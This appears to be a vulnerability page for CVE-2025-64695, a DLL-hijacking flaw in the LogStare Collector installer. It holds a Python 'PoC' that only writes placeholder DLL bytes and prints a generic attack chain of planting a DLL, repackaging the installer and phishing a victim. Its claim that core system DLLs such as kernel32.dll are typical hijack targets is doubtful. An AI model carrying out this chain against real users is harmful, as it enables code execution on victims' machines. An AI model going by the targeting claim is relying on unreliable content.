CVE-2025-64695 LogStare Collector安装程序不受控制的搜索路径元素漏洞

#!/usr/bin/env python3 # CVE-2025-64695 PoC - Malicious DLL Generator for LogStare Collector Installer DLL Hijacking # This PoC demonstrates the DLL hijacking vulnerability in LogStare Collector installer # Author: Security Researcher # Note: This code is for educational and authorized testing purposes only import struct import os def create_malicious_dll(): """ Generate a malicious DLL that will be loaded by the vulnerable installer. The DLL exports the same functions as a legitimate DLL to maintain compatibility. """ # DLL content - simplified representation dll_content = b'MZ' + b'\x90' * 58 + struct.pack('<I', 0x00000080) # PE signature placeholder # In a real attack scenario, this would be a compiled DLL with: # 1. Malicious code in DllMain that executes on load # 2. Export forwarding for all required functions # 3. Code to call the legitimate DLL functions after execution print("[*] PoC for CVE-2025-64695: LogStare Collector Installer DLL Hijacking") print("[+] This PoC demonstrates the uncontrolled search path vulnerability") print("[+] In a real attack:") print(" 1. Attacker creates a malicious DLL with payload") print(" 2. Places it in a directory that the installer searches") print(" 3. Lures victim to download and run the modified installer") print(" 4. Malicious DLL is loaded and code executes with user privileges") print("\n[+] Required DLL exports depend on the specific DLL being hijacked") print("[+] Common targets: kernel32.dll, user32.dll, ntdll.dll replacements") print("[+] The installer will load the malicious DLL instead of the legitimate one") return dll_content def simulate_attack(): """ Simulate the attack chain for demonstration purposes. """ attack_steps = [ "Step 1: Attacker identifies vulnerable DLL loading mechanism in installer", "Step 2: Attacker creates malicious DLL with desired payload", "Step 3: Attacker places DLL in installer search path (e.g., same directory)", "Step 4: Attacker creates modified installer package or phishing page", "Step 5: Victim downloads and executes the installer", "Step 6: Installer loads malicious DLL from search path", "Step 7: Malicious code executes with user privileges" ] print("\n[*] Simulated Attack Chain:") for step in attack_steps: print(f" {step}") if __name__ == "__main__": create_malicious_dll() simulate_attack() print("\n[!] Disclaimer: This PoC is for authorized security testing only")